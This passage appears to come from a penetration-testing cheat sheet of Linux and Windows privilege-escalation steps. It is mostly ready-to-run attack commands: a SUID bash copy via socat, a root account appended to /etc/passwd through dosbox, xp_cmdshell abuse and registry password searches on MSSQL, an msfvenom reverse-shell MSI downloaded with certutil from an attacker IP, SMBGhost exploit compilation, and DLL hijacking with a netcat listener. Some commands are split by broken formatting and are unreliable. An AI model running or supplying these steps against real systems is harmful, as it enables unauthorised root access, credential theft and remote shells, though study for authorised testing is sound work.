  b: echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x
/tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket.s
  c: /tmp/bash -p
3: dosbox (SUID)
  a: Use vncviewer or SSH with -X flag (X11Forwarding) to log in target
machine
  b: Execute dosbox
  c: In dosbox GUI, mount C/etc
  d: C:
  e: echo hack:$1$hack
$R78Vb02JSSxv5kQZvNiPU.:0:0:root:/root:/bin/bash >> passwd
  f: In shell, su hack with password 123123
```

# Windows

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#### **Foothold or PE**

## 1: MSSQL xp\_cmd

- a: python mssqlclient.py -p 1435 sa:123123@10.10.10.10
- b: sp\_configure 'show advanced options', '1'
- c: RECONFIGURE
- d: sp\_configure 'xp\_cmdshell', '1'
- e: RECONFIGURE
- f: xp\_cmdshell cd C:/Users && dir
- g: xp\_cmdshell reg query HKLM /f pass /t REG\_SZ /s

## PE only

1: Potato Suite: Juicy Potato, Rotten Potato, Rouge Potato, Lonely Potato, Hot Potato

If **Impersonating Privileges** is enabled, pay attention to **Potato exploits**, especially current user is a **service account** 

## 2: PrintSpoofer

From LOCAL/NETWORK SERVICE to SYSTEM by abusing

SelmpersonatePrivilege on Windows 10 and Server 2016/2019.

Exp: https://github.com/itm4n/PrintSpoofer

Command: PrintSpoofer.exe -i -c cmd

### 3: AlwaysInstallElevated

- a: If AlwaysInstalledElevated is on
- b: msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=10.10.10.20

### LPORT=4444 -f msi > exp.msi

- c: certutil -urlcache -split -f http://10.10.10.20/exp.msi exp.msi
- d: Set up a netcat listener, execute .\exp.msi

#### 4: SMBGhost

- a: According to **Kernel version** and **hotfixs list**, infer if target is vulnerable to **SMBGhost vulnerability** 
  - b: netstat -ano, if 445 is open
  - c: Download the exploit from https://github.com/tango-j/CVE-2020-0796
  - d: Generate shellcode: msfvenom -p windows/x64/shell reverse tcp

**LHOST=10.10.10.20 LPORT=5555 -f dll -f csharp**, and replace the part from line **204** of the exploit

- e: Use Visual Studio to compile, transfer it to target
- f: Execute it

# 5: IKEEXT DLL Hijacking

- a: sc query IKEEXT
- b: PATH, check is any path in environment variable writable
- c: Generate a dll payload, copy it to the writable path
- d: shutdown -r -t 1 &&exit
- e: Set up netcat listener again